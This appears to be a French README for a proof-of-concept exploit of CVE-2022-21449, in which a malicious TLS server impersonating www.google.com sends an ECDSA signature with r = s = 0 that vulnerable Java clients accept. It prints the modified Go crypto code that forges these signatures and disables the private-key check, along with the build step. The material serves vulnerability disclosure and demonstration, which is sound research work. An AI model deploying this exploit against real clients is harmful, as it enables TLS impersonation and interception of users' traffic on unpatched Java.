
CVE-2022-21449 Preuve de concept démontrant son utilisation avec un client s'exécutant sur une version vulnérable de Java et un serveur TLS malveillant
CVE-2022-21449 (également surnommé Psychic Signatures dans l'article de vulnérabilité de Neil Madden) Preuve de concept démontrant son utilisation avec un client vulnérable et un serveur TLS malveillant.
Le serveur malveillant présente une chaîne de certificats valide (au 20/04/2022) pour www.google.com qui possède une clé publique ECDSA (secp256r1). Cependant, le paquet crypto/ecdsa a été modifié pour présenter une signature invalide avec r = s = 0. Le client vulnérable accepte cette signature invalide, permettant ainsi la suite de la poignée de main TLS.
En dehors des fichiers *_test.go supprimés lors de la construction et de l'exploration, ces modifications de la bibliothèque crypto de golang ont été nécessaires pour le serveur TLS malveillant. On peut également les trouver en cherchant/gréppant CVE-2022-21449 dans le répertoire go/src.
Nécessite une installation existante de golang ainsi que maven, puis exécutez .
./build.shTesté sur Ubuntu 20.04.4 LTS (WSL2) avec OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)
https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4
Dans crypto/ecdsa/ecdsa.go, la fonction signGeneric a été modifiée essentiellement pour :
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
// SEC 1, Version 2.0, Section 4.1.3
// CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
r = new(big.Int)
s = new(big.Int)
return
}
Et dans crypto/tls/tls.go, la fonction X509KeyPair a été modifiée pour désactiver les vérifications qu'une clé privée donnée correspond à la clé publique du certificat X.509 pour les clés publiques ECDSA :
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
...
switch pub := x509Cert.PublicKey.(type) {
...
case *ecdsa.PublicKey:
// CVE-2022-21449: Modified checks away
_, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
/*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
return fail(errors.New("tls: private key does not match public key"))
}*/
...
}